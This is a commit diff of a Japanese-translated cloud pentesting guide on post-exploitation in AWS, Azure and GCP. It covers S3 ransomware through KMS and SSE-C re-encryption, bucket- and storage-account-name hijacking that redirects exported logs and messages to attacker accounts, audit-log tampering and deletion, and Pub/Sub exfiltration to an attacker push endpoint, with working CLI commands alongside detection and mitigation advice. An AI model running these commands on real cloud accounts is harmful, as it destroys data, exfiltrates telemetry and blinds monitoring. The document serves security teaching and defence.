Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2026-06-25 16:00:01 +00:00
parent e582611973
commit 54f7632736
7 changed files with 346 additions and 150 deletions
@@ -4,44 +4,45 @@
## S3
詳細は次を参照してください
詳細については以下を確認してください:
{{#ref}}
../../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
### 機密情報
### Sensitive Information
バケット内のファイルが読み取り可能な場合、機密情報が見つかることがあります。例えば、terraform state のシークレットなど
時には、バケット内読み取り可能な sensitive information を見つけられることがあります。例えば、terraform state secrets です
### Pivoting
さまざまなプラットフォームが S3 に機密資産を保存している可能性があります。例えば、**airflow** は **DAGs** **code** を保存していることがあり、**web pages** が S3 から直接配信されている場合もあります。書き込み権限を持つ攻撃者は、バケット内のコードを **modify the code** して他のプラットフォームへ **pivot** したり、**JS files** を改変してアカウントを **takeover accounts**ることができます。
異なる platform が sensitive assets を保存するために S3 を使っていることがあります。\
例えば、**airflow** がそこに **DAGs** **code** を保存していたり、**web pages** が S3 から直接配信されていたりします。write permissions を持つ attacker は、bucket 内の **code****modify** して他の platform へ **pivot** したり、JS files を modifying して accounts を **takeover** したりできます。
### S3 Ransomware
このシナリオでは、攻撃者は自分の AWS アカウント(または別の侵害されたアカウント)に KMS (Key Management Service) キーを作成します。次にそのキーを世界中の誰でも使えるようにし、任意の AWS ユーザー、ロール、またはアカウントがそのキーでオブジェクトを暗号化できるようにします。しかし、オブジェクトは復号できなくなります
このシナリオでは、**attacker は自分の aws account** か別の compromised account に KMS (Key Management Service) key を作成します。次にこの **key を世界中の誰でもアクセスできるようにし**、任意の AWS user、role、または account がこの key を使って objects を encrypt できるようにします。ただし、objects は decrypt できません
攻撃者はターゲットの S3 バケットを特定し、様々な手段で書き込みレベルのアクセスを得ます。これはバケットの不適切な設定で公開されている場合や、攻撃者が AWS 環境自体にアクセスした場合などが考えられます。攻撃者は通常、PII、PHI、ログ、バックアップなどの機密情報を含むバケットを狙います。
attacker は target の **S3 bucket を特定し、write-level access** をさまざまな方法で取得します。これは、bucket の設定不備で public に露出している場合もあれば、attacker 自身が AWS environment へアクセスした結果である場合もあります。attacker は通常、PII (personally identifiable information)、PHI (protected health information)、logs、backups などの sensitive information を含む bucket を狙います。
ランサムウェアの標的にできるかを判断するため、攻撃者はバケットの設定を確認します。これには S3 Object Versioning が有効か、multi-factor authentication delete (MFA delete) が有効かどうかの確認が含まれます。Object Versioning が有効でない場合、攻撃者はそのまま進めます。Object Versioning が有効で MFA delete が無効の場合、攻撃者は Object Versioning を無効化できます。Object Versioning と MFA delete の両方が有効な場合、その特定のバケットをランサムウェア化するのはより難しくなります。
bucket が ransomware の対象にできるかを判断するために、attacker はその configuration を確認します。これには、**S3 Object Versioning** が有効か、**multi-factor authentication delete (MFA delete)** が有効かを確認することが含まれます。Object Versioning が有効でなければ、attacker は先へ進めます。Object Versioning が有効で MFA delete が無効なら、attacker は **Object Versioning を disable** できます。Object Versioning と MFA delete の両方が有効な場合、その特定の bucket を ransomware 化するのは attacker にとってより難しくなります。
攻撃者は AWS API を使用して、バケット内の各オブジェクトを自分の KMS キーで暗号化されたコピーに置き換えます。これによりバケット内のデータは事実上暗号化され、キーがなければアクセスできなくなります。
AWS API を使って、attacker は bucket 内の各 object を **自分の KMS key を使った encrypted copy に置き換えます**。これにより bucket 内の data は実質的に encrypt され、key がなければアクセスできなくなります。
さらにプレッシャーをかけるために、攻撃者は攻撃に使用した KMS キーの削除をスケジュールすることがあります。これにより、キーが削除されデータが永久に失われる前に、対象はデータを回復するための 7 日間の猶予を与えられます。
さらに圧力をかけるために、attacker は攻撃に使用した KMS key の deletion を schedule します。これにより、key が削除されて data が永続的に失われる前に、target は 7 日間 data を recover する猶予を得ます。
最後に、攻撃者は通常 "ransom-note.txt" という名前の最終ファイルをアップロードし、ファイルの取り戻し方法を指示します。このファイルは暗号化せずにアップロードされ、被害者の注意を引きランサムウェア攻撃に気かせるために使われます。
最後に、attacker は通常 "ransom-note.txt" と名付けられた final file を upload することがあります。そこには target が files を retrieve する方法の instructions が書かれています。この file は encryption なしで upload され、おそらく target の注意を引き、ransomware attack に気かせるためす。
#### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
別のバリエーションとして、**SSE-C**(S3 server-side encryption with **customer-provided keys**)を悪用する手口があります。SSE-C ではクライアントが毎リクエストで暗号化キーを提供し、AWS はそのキーを保存しません。したがって、攻撃者が自分の SSE-C キーを使ってオブジェクトを書き換えると、被害者は攻撃者管理のキーを提供できない限りデータを読めなくなります。
別の variant は **SSE-C** (S3 server-side encryption with **customer-provided keys**) の悪用です。SSE-C では、**client が毎回の request で encryption key を提供**し、**AWS は key を保存しません**。つまり、attacker が **自分の SSE-C key** を使って objects を rewrite すると、victim がその attacker-controlled key を提供できない限り、victim の data は unreadable になります。
- **前提条件:** 侵害された AWS 資格情報(または適切な権限を持つ任意のプリンシパル)と、**rewrite objects**(例: `s3:PutObject` をターゲットのキー/プレフィックスに対して実行できること)。これは破壊的なライフサイクルポリシーを設定する能力(下記参照)、例: `s3:PutLifecycleConfiguration` と組み合わされることが多いです。
- **攻撃チェーン:**
1. 攻撃者はランダムな 256-bit キー (AES-256) を生成し保持します。
2. 攻撃者は既存のオブジェクト(同じオブジェクトキー)を書き換え、SSE-C ヘッダを使って保存オブジェクトを攻撃者のキーで暗号化されたものにします。
3. 被害者は SSE-C キーを提供できない限りダウンロード/復号できません(IAM 権限が問題ない場合でも)。
4. 攻撃者はキーを削除する(または単に提供しない)ことでデータを復旧不能にできます。
- **Preconditions:** Compromised AWS credentials (または適切な permissions を持つ principal) と、objects を **rewrite** する能力(例: 対象の keys/prefixes に対する `s3:PutObject`)。これは多くの場合、破壊的な lifecycle policies を設定する権限と組み合わされます(以下参照)、例: `s3:PutLifecycleConfiguration`.
- **Attack chain:**
1. Attacker がランダムな 256-bit key (AES-256) を生成し保持します。
2. Attacker は SSE-C headers を使って既存の objects(同じ object keys)を **rewrite** し、保存された object を attacker key で encrypt された状態にします。
3. Victim は SSE-C key を提供しないと download/decrypt できません(IAM permissions が正しくても同様です)。
4. Attacker は key を削除する(または単に提供しない)ことで、data を recover 不可能にできます。
Example (conceptual) CLI usage:
```bash
@@ -55,25 +56,25 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
--sse-c AES256 \
--sse-c-key <BASE64_32_BYTES>
```
##### 圧力をかける: ライフサイクルの「タイマー」悪用
##### Adding Pressure: Lifecycle "Timer" Abuse
バックアップオプション(古いバージョンなど)を除去するため、攻撃者は SSE-C の書き換えを、オブジェクトを期限切れにしたり短期間で非現行バージョンを削除したりする **ライフサイクルルール** 組み合わせることができます:
回復オプション(古い version など)を無効化するため、攻撃者は SSE-C rewrites と **lifecycle rules** 組み合わせて、短期間で objects や/または noncurrent versions を期限切れ・削除できます:
- バケット上の `s3:PutLifecycleConfiguration` 、攻撃者が各オブジェクト/バージョンごとに明示的な削除操作を行わずに削除をスケジュールできるようにします。
- これは **バージョニングが有効な場合** に特に影響が大きく、通常であれば復旧を可能にする「以前の正常なバージョン」を削除できてしまうためです。
- bucket 上の `s3:PutLifecycleConfiguration` により、攻撃者は各 object/version ごとに明示的な delete 操作を行わずに削除をスケジュールできます。
- これは特に **versioning が有効** な場合に大きな影響があります。そうでなければ recovery に使える「以前の正常な version」を削除できためです。
##### 検出と軽減策
##### Detection & Mitigations
- SSE-C を許可する強い運用上の理由がない限り、**SSE-KMS**(または SSE-S3)を SSE-C より優先してください
- SSE-C ヘッダを使用し`PutObject` リクエストを監視/アラート(CloudTrail データイベント for S3)。
- 予期しない `PutBucketLifecycleConfiguration`ライフサイクルの変更)を監視/アラート。
- 上書きアクティビティの急増(同じキーが短時間で頻繁に更新される)や delete-marker/バージョンの削除を監視/アラート。
- 高リスク権限を制限する: `s3:PutObject` を必要なプレフィックスに限定する; `s3:PutLifecycleConfiguration``s3:PutBucketVersioning`厳しく制限する; 機密性の高い管理操作には(該当する場合)MFA を要求することを検討し、承認付きの別個の管理ロールを使用してください
- 復旧態勢: **バージョニング**、**バックアップ**、および変更不可能/オフラインのコピー(S3 レプリケーションを保護されたアカウントへ、バックアップボールト等)を用する; 非現行バージョンが過度に削除されないよう保護し、ライフサイクルの変更を SCPs / ガードレールで守る。
- SSE-C を許可する強い運用上の理由がない限り、**SSE-KMS**(または SSE-S3)を SSE-C より優先する
- SSE-C headers を使っ`PutObject` requests を監視/アラートする(S3 の CloudTrail data events)。
- 予期しない `PutBucketLifecycleConfiguration`lifecycle changes)を監視/アラートする
- 上書き activity の急増(同じ keys が短時間で更新される)や delete-marker/version deletions を監視/アラートする
- 高リスク権限を制限する: `s3:PutObject` を必要な prefixes のみに限定する; `s3:PutLifecycleConfiguration``s3:PutBucketVersioning`く制限する; 機密性の高い admin actions には MFA を要求する(該当する場合)ことを検討し、承認付きの separate admin roles を使う
- Recovery posture: **versioning**、**backups**、および immutable/offline copies(保護された account への S3 replication、backup vaults など)を使用する; aggressive な削除から noncurrent versions を保護し、SCPs / guardrails で lifecycle changes を防御する。
### `s3:RestoreObject`
s3:RestoreObject 権限を持つ攻撃者は Glacier や Deep Archive にアーカイブされたオブジェクトを再アクティブ化(復元)でき、一時的にアクセス可能にます。これにより、通常は手の届かない過去アーカイブされたデータ(バックアップ、スナップショット、ログ、証明書、古いシークレット等)の復元および exfiltration 可能にます。攻撃者がこの権限を読み取り権限(例: s3:GetObject)と組み合わせると、機密データの完全なコピーを入手できます。
`s3:RestoreObject` permission を持つ攻撃者はGlacier や Deep Archive にアーカイブされた objects を再有効化でき、一時的にアクセス可能にできます。これにより、通常は到達不能な過去アーカイブ databackups、snapshots、logs、certifications、古い secrets)の recovery と exfiltration 可能になります。攻撃者がこの permission に read permissions(例: `s3:GetObject`)を組み合わせると、機密 data の完全な copies を取得できます。
```bash
aws s3api restore-object \
--bucket <BUCKET_NAME> \
@@ -85,7 +86,7 @@ aws s3api restore-object \
```
### `s3:Delete*`
s3:Delete* 権限を持つ攻撃者は、オブジェクト、バージョン、バケット全体を削除、バックアップを妨害し、即時かつ不可逆的なデータ損失、証拠の破壊、またはバックアップリカバリ成果物の改ざん・損失を引き起こす可能性があります。
`s3:Delete*` 権限を持つ攻撃者は、オブジェクト、バージョン、さらにはバケット全体を削除でき、バックアップを妨害し、即時かつ不可逆的なデータ損失、証拠の破壊、そしてバックアップまたはリカバリアーティファクトの侵害を引き起こせます。
```bash
# Delete an object from a bucket
aws s3api delete-object \
@@ -102,6 +103,34 @@ aws s3api delete-object \
aws s3api delete-bucket \
--bucket <BUCKET_NAME>
```
**詳しくは** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
### 自律的な書き込み元のグローバルな bucket name takeover - `s3:DeleteBucket`
S3 bucket names はグローバルに一意です。被害者アカウントに `arn:aws:s3:::<bucket-name>` へデータを送り続ける自動化された writer があり、攻撃者がその bucket を空にする/削除できる場合、攻撃者は attacker-controlled account で同じ bucket name を再作成し、上流サービスの設定を変更せずに今後の配信を受け取れる可能性があります。
確認すべき良い対象には、S3 replication destinations、Kinesis Data Firehose delivery streams、S3 に到達する CloudWatch Logs/SNS/WAF delivery chains、そして custom backup や export jobs が含まれます。
```bash
# Review S3 replication destinations on source buckets
aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
# Review Firehose S3 destinations
aws firehose describe-delivery-stream \
--delivery-stream-name <DELIVERY_STREAM_NAME>
# Empty and delete the target bucket, if permitted
aws s3 rm s3://<BUCKET_NAME> --recursive
aws s3api delete-bucket --bucket <BUCKET_NAME>
# Recreate the same globally-unique name in the attacker account
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
```
置き換え後の bucket policy は、上流の writer が objects を put できるようにする必要があります。正確な principal は service に依存します。たとえば IAM replication role、Firehose delivery role、または `aws:SourceArn` / `aws:SourceAccount` で制約された service principal です。
**Potential Impact:** 将来 replicated される objects、logs、telemetry、backups、pipeline artifacts が、attacker-controlled な AWS account へ silent exfiltration される可能性があります。
**Detection & Mitigation:** replication rules または delivery streams で参照されている buckets の削除を alert し、`NoSuchBucket` delivery failures の後に bucket recreation が起きていないか monitor し、export destinations に対する `s3:DeleteBucket` を restrict し、厳格な bucket policies と ownership expectations で cross-account deliveries を pin します。
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,12 +2,12 @@
{{#include ../../../../banners/hacktricks-training.md}}
攻撃者が制御する Kinesis Data Firehose delivery stream を被害者の SNS standard topic に登録するために、Firehose サブスクリプションプロトコルを悪用します。サブスクリプションが設定され、必要な IAM ロール`sns.amazonaws.com`信頼するようになると、その後の通知はすべて最小限のノイズで攻撃者の S3 バケットに確実に書き込まれます
Firehose subscription protocol を abuse して、attacker-controlled な Kinesis Data Firehose delivery stream を victim の SNS standard topic に登録する。subscription が設定され、必要な IAM role `sns.amazonaws.com` trust すると、以後の notification はすべて attacker の S3 bucket に durable に書き込まれ、noise は最小限になる
## Requirements
- 攻撃者アカウントに S3 バケット、Firehose delivery stream、および Firehose が使用する IAM ロール を作成するための権限(`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy` など)。
- 被害者の topic に対して `sns:Subscribe` できる能力(作成後にサブスクリプションロール ARN が提供される場合はオプションで `sns:SetSubscriptionAttributes`)。
- 攻撃者プリンシパルのサブスクライブを許可するトピックポリシー(または攻撃者が既に同一アカウント内で操作している場合)。
- attacker account で S3 bucket、Firehose delivery stream、そして Firehose が使 IAM role を作成する権限(`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, など)。
- victim topic に対して `sns:Subscribe` できること(必要に応じて、subscription role ARN が作成後に提供される場合は `sns:SetSubscriptionAttributes`)。
- attacker principal の subscribe を許可する topic policy があること(または attacker がすでに同じ account 内で動いていること)。
## Attack Steps (same-account example)
```bash
@@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio
sleep 90
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
```
## クリーンアップ
- SNS subscription、Firehose delivery stream、一時的な IAM roles/policies、および attacker S3 bucket を削除す
## Cleanup
- SNS subscription、Firehose delivery stream、temporary IAM roles/policies、および attacker S3 bucket を削除します。
## 影響
**潜在的な影響**: 最小限の運用フットプリントで、ターゲットとなる SNS topic に公開されすべてのメッセージが継続的かつ永続的に attacker-controlled storage へ exfiltration される可能性がある
## Impact
**Potential Impact**: targeted SNS topic に publish されすべての message を attacker-controlled storage に継続的かつ durable に exfiltration することができ、operational footprint は最小限です
## Related Bucket-Name Hijack Variant
既存の SNS -> Firehose -> S3 chain がすでに bucket に書き込みを行っており、attacker がその bucket を削除できる場合、attacker-controlled account で同じ globally-unique S3 bucket name を再作成できる可能性があります。その後の Firehose delivery は、SNS subscription や Firehose stream configuration を変更せずに、置き換えられた bucket に着地できます。
```bash
# Identify the Firehose S3 destination
aws firehose describe-delivery-stream \
--delivery-stream-name <DELIVERY_STREAM_NAME> \
--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
# After deleting the original bucket, recreate the same name in the attacker account
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
```
Firehose delivery role に cross-account で書き込める場合は、置き換え先の bucket へのアクセスを付与する。Firehose destination の bucket deletion、delivery failures、予期しない bucket ownership changes を監視する。
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## ストレージの権限昇格
## Storage Privesc
ストレージに関する詳細情報は以下を確認してください:
ストレージの詳細については、こちらを確認してください:
{{#ref}}
../az-services/az-storage.md
@@ -12,7 +12,7 @@
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
この権限を持つプリンシパルは、コンテナ内のブロブ(ファイル)を**リスト**し、**機密情報**を含む可能性のあるファイルを**ダウンロード**することができます。
この権限を持つprincipalは、container 内の blobfiles)を **list** でき、**sensitive information** を含む可能性のある files を **download** できます。
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
az storage blob list \
@@ -26,7 +26,7 @@ az storage blob download \
```
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
この権限を持つプリンシパルは、**コンテナ内のファイルを書き込み、上書きする**ことができ、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:ブロブに保存されているコードを上書きする)
この権限を持つ principal は、**containers 内の files を書き込みおよび上書き**できるため、損害を与えたり、場合によっては権限昇格を可能にすることがあります(例: blob に保存された code を上書きする):
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
az storage blob upload \
@@ -36,6 +36,35 @@ az storage blob upload \
```
### \*/delete
これにより、ストレージアカウント内のオブジェクトを削除でき、**いくつかのサービス中断される**可能性があるか、クライアントが**重な情報を失う**ことになります。
これは、storage account 内のオブジェクトを削除できるため、**一部のサービス中断**させたり、client が**重な情報を失う**可能性があります。
### 診断エクスポートの storage account name takeover
Azure Storage account の名前はグローバルに一意です。一部の自動エクスポート、たとえば Azure Monitor の diagnostic settings は、ログや metrics を設定済みの storage account に書き込み続けます。攻撃者がその storage account を削除し、同じ tenant 内の attacker-controlled subscription で同じ名前を再作成できる場合、今後の exported telemetry は diagnostic setting を変更しなくても置き換えられた account に配信される可能性があります。
これは、攻撃者が `Microsoft.Storage/storageAccounts/delete` のような破壊的な権限を持っている一方で、監視対象の resource やその diagnostic settings を更新できない場合に特に有用です。
これには、storage account name が再利用可能として解放される必要があります。実際には、Azure storage account の soft delete / recovery protections により、特に tenant 間では即時の再利用が遅延または防止されることがあります。
```bash
# Find diagnostic settings that write to a storage account
az monitor diagnostic-settings list \
--resource <RESOURCE_ID> \
--query '[].{name:name,storageAccountId:storageAccountId}'
# Delete the storage account, if permitted
az storage account delete \
--name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP>
# Recreate the same globally-unique storage account name
az storage account create \
--name <STORAGE_ACCOUNT_NAME> \
--resource-group <ATTACKER_RESOURCE_GROUP> \
--location <LOCATION> \
--sku Standard_LRS
```
**潜在的影響:** 将来の logs、metrics、audit data、および diagnostic archives を attacker-controlled subscription へ長期的に exfiltration される可能性があります。
**Detection & Mitigation:** diagnostic settings に参照されている storage accounts の削除に alert を設定し、`storageAccountId` を持つ diagnostic settings を inventory し、dangling destinations を監視し、logging/archive 用 storage accounts に対する破壊的な permissions を厳しく制限します。
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,33 +2,33 @@
{{#include ../../../banners/hacktricks-training.md}}
## 基本情報
## Basic Information
For more information check:
詳細は以下を確認してください:
{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}
For other ways to disrupt monitoring check:
監視を妨害する他の方法については以下を確認してください:
{{#ref}}
gcp-monitoring-post-exploitation.md
{{#endref}}
### デフォルトのロギング
### Default Logging
**デフォルトでは、読み取り操作だけでは検されません。詳細は Logging Enum セクションを参照してください。**
**デフォルトでは、read アクションを実行しただけでは検されません。詳細は Logging Enum セクションを確認してください。**
### Excepted Principal を追加
### Add Excepted Principal
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is possible to add principals to not generate logs. An attacker could abuse this to prevent being caught.
[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) では、ログを生成しない principal を追加できます。攻撃者はこれを悪用して検出を回避できます。
### ログの読み取り - `logging.logEntries.list`
### Read logs - `logging.logEntries.list`
<details>
<summary>ログエントリの読み取り</summary>
<summary>Read log entries</summary>
```bash
# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -55,7 +55,7 @@ gcloud logging logs delete <log-name>
<details>
<summary>ログエントリを作成</summary>
<summary>ログエントリを書き込む</summary>
```bash
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
@@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
<details>
<summary>ログ バケットの保持期間を更新</summary>
<summary>ログバケットの保持期間を更新</summary>
```bash
# Set retention period to 1 day (_Required has a fixed one of 400days)
@@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=<location>
<details>
<summary>ログリンク削除</summary>
<summary>ログリンク削除</summary>
```bash
# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
@@ -100,7 +100,7 @@ gcloud logging links delete <link-id> --bucket <bucket> --location <location>
<details>
<summary>ログビューを削除</summary>
<summary>logging view を削除</summary>
```bash
# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
@@ -111,7 +111,7 @@ gcloud logging views delete <view-id> --bucket=<bucket> --location=global
<details>
<summary>logging view を更新してデータを隠す</summary>
<summary>データを隠すために logging view を更新</summary>
```bash
# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
@@ -133,7 +133,7 @@ gcloud logging metrics update <metric-name> --description="Changed metric descri
<details>
<summary>ログベースのメトリクスを削除する</summary>
<summary>ログベースのメトリクスを削除</summary>
```bash
# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>
@@ -155,7 +155,7 @@ gcloud logging sinks delete <sink-name>
<details>
<summary>ログシンク更新妨害</summary>
<summary>ログシンク更新/妨害</summary>
```bash
# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
```
</details>
### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`
Cloud Logging sinks は、`storage.googleapis.com/<bucket-name>``storage.googleapis.com/<bucket-name>/<prefix>` のような Cloud Storage destination にログを継続的に export できます。攻撃者が destination bucket を削除できるが、sink を update できない場合、同じ globally-unique な bucket name を attacker-controlled project で再作成することで、今後 export されるログを redirect できる可能性があります。
これは、compromised principal が `storage.buckets.delete``storage.objects.delete``storage.objects.list` のような destructive storage permissions を持っているが、`logging.sinks.update` は持っていない場合に有用です。
```bash
# Find sinks that export to Cloud Storage
gcloud logging sinks list --project <PROJECT_ID> \
--format='table(name,destination,disabled,writerIdentity)'
# Empty and delete the destination bucket, if permitted
gcloud storage rm -r gs://<BUCKET_NAME>
# Recreate the same bucket name in the attacker-controlled project
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
# Allow the sink writer identity to write objects into the replacement bucket
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
```
**Potential Impact:** 将来の監査ログ、application logs、security telemetry、および sink filter に一致するその他のイベントが、静かに長期的に exfiltration される可能性があります。
**Detection & Mitigation:** アクティブな sink から参照されている bucket の削除を alert し、sink destinations を inventory して dangling bucket names を確認し、logging destinations に対する `storage.buckets.delete` を制限し、可能であれば retention/hold controls で export buckets を保護してください。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Pub/Sub
For more information about Pub/Sub check the following page:
Pub/Sub についての詳細は、次のページを確認してください:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@ For more information about Pub/Sub check the following page:
### `pubsub.topics.publish`
トピックにメッセージを公開します。**予期しないデータを送信する**のに有用で、予期しない機能をトリガーしたり脆弱性を悪用したりするために使えます:
トピックにメッセージを publish し、**予期しないデータを送信**して予期しない機能を引き起こしたり脆弱性を exploit したりするのに役立ちます:
<details>
<summary>トピックにメッセージを公開</summary>
<summary>トピックにメッセージを publish</summary>
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
### `pubsub.topics.detachSubscription`
サブスクリプションがメッセージを受信するのを防ぐのに有用で、検出を回避するために使うことがあります
サブスクリプションがメッセージを受信するのを防ぐのに役立つ。検知を避けるために使える場合がある
<details>
<summary>トピックからサブスクリプションを切り離す</summary>
<summary>トピックからサブスクリプションをデタッチ</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
サブスクリプションがメッセージを受信するのを防ぎ、検出を回避するのに有用です。\
サブスクリプションが紐づいている状態でもトピックを削除できます。
サブスクリプションがメッセージを受信するのを防ぐのに役立ち、検知を避けるために使える場合があります。\
サブスクリプションがいていても topic を削除することは可能です。
<details>
<summary>トピックを削除</summary>
<summary>Delete topic</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
@@ -50,11 +50,11 @@ gcloud pubsub topics delete <TOPIC NAME>
### `pubsub.topics.update`
この権限を使用して、トピックの設定の一部を更新し妨害するために使います。例えば `--clear-schema-settings``--message-retention-duration``--message-storage-policy-allowed-regions``--schema``--schema-project``--topic-encryption-key`...
この権限を使って、topic の設定を変更し、`--clear-schema-settings``--message-retention-duration``--message-storage-policy-allowed-regions``--schema``--schema-project``--topic-encryption-key`... のように、その動作を妨害できます。
### `pubsub.topics.setIamPolicy`
自分に権限を付与して、前述のいずれの攻撃実行できるようにします。
の攻撃実行するための権限を自分に付与します。
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
@@ -84,22 +84,22 @@ gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
ウェブサーバーで全てのメッセージを取得する:
web server で全てのメッセージを取得する:
<details>
<summary>メッセージを受信するための push subscription を作成する</summary>
<summary>メッセージを受信するための push subscription を作成</summary>
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
</details>
サブスクリプションを作成し、それを使って **pull messages**:
サブスクリプションを作成し、それを使って **メッセージを pull** する:
<details>
<summary>pull subscription を作成してメッセージを取得する</summary>
<summary>pull subscription を作成してメッセージを取得</summary>
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -112,7 +112,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.delete`
**サブスクリプション削除**は、ログ処理システムの妨害などに有用な場合があります:
**サブスクリプション削除** すると、ログ処理システムやそれに類似するものを妨害するのに役立つ可能性があります:
<details>
@@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.update`
この権限を使って、メッセージが自分でアクセスできる場所(URL, Big Query table, Bucket)に保存されるよう設定を更新したり、単に妨害したりできます。
この権限を使って、メッセージがアクセスできる場所(URLBig Query tableBucket)に保存されるよう設定を更新するか、単に妨害できます。
<details>
<summary>サブスクリプションの更新エンドポイント</summary>
<summary>Update subscription endpoint</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
</details>
### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete`
Pub/Sub subscriptions can write delivered messages into Cloud Storage buckets. If a subscription keeps pointing to `gs://<bucket-name>` and an attacker can delete that bucket, the attacker may recreate the same globally-unique bucket name in another project and receive future messages without changing the subscription.
This can be valuable when the attacker cannot use `pubsub.subscriptions.update`, but can delete the destination bucket with permissions such as `storage.buckets.delete`, `storage.objects.delete`, and `storage.objects.list`.
```bash
# Find Cloud Storage subscriptions and their destinations
gcloud pubsub subscriptions list --project <PROJECT_ID> \
--format='json(name,topic,cloudStorageConfig)'
# Empty and delete the destination bucket
gcloud storage rm -r gs://<BUCKET_NAME>
# Recreate the same bucket name under attacker control
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
# Grant the Pub/Sub service agent write access if delivery requires it
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
--role='roles/storage.legacyBucketReader' \
--project <ATTACKER_PROJECT_ID>
```
**Potential Impact:** Cloud Storage にアーカイブされた将来の Pub/Sub メッセージの exfiltration。これには application events、failed pipeline payloads、logs、または data lake ingestion records が含まれます。
**Detection & Mitigation:** Pub/Sub subscriptions が使用する buckets の deletion を alert し、`cloudStorageConfig` を持つ subscriptions を review し、delivery errors の後に bucket recreation が起きていないか watch し、message archival buckets に対する destructive access を制限します。
### `pubsub.subscriptions.setIamPolicy`
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
これまでにコメントした任意の attacks を実行するために必要な permissions を自分に付与します。
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
スキーマをトピックにアタッチして、メッセージがそれを満たさなくなり、その結果トピックが中断されるようにします。\
スキーマが存在しない場合は、新しく作成する必要があるかもしれません。
